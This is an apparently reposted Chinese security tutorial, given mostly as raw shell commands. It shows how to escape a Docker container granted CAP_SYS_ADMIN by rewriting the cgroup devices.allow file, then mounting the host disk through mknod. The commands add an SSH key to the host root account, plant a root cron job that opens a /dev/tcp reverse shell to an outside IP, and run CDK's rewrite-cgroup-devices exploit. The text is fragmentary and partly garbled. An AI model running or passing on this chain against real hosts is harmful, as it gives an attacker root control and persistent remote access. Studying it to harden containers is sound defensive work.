docker run -d -P --cap-add=cap_sys_admin --security-opt apparmor=unconfined --name=test nginx:latest
cat /proc/self/status | grep CapEff
capsh --decode=00000000a82425fb
-
type表示类型,可以为 a(all), c(char), b(block) -
major:minor 代表设备编号,两个标号都可以用代替表示所有,比如:*代表所有的设备 -
accss表示访问方式,可以为r(read),w(write), m(mknod)的组合
#-t指定挂载的类型,-o指定挂载的选项
mkdir /tmp/test && mount -t cgroup -o devices devices /tmp/test
#查找容器的ID
cat /proc/self/cgroup | grep docker | head -1 | sed 's/.*/docker/(.*)/1/g'
#切换到ID对应的目录下
cd /tmp/test/system.slice/容器ID/
#设置容器允许访问所有类型设备
echo a > devices.allow
cat /proc/self/mountinfo | grep /etc | awk '{print $3,$8}' | head -1
mknod host b 252 5
#挂载设备文件host到/tmp/test2
mkdir /tmp/test2 && mount host /tmp/test2
#切换到挂载的目录
cd /tmp/test2/root/.ssh/
#写入SSH公钥
echo "公钥内容" >> /tmp/test2/root/.ssh/authorized_keys
#切换到挂载的目录
cd /tmp/test2/var/spool/cron
#写入反弹shell的命令
echo "*/1 * * * * /bin/bash -i>&/dev/tcp/172.16.200.60/4444 0>&1" > root
#取消host挂载
umount host
#删除host设备文件
rm host
#取消devices挂载
umount devices
debugfs -w host
write /tmp/authorized_keys /root/.ssh/authorized_keys
#执行rewrite-cgroup-devices逃逸
run rewrite-cgroup-devices
debugfs -w cdk_mknod_result
#执行?可以看到有哪些命令
原文始发于微信公众号(谢公子学安全):CAP_SYS_ADMIN之重写devices.allow进行容器逃逸
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论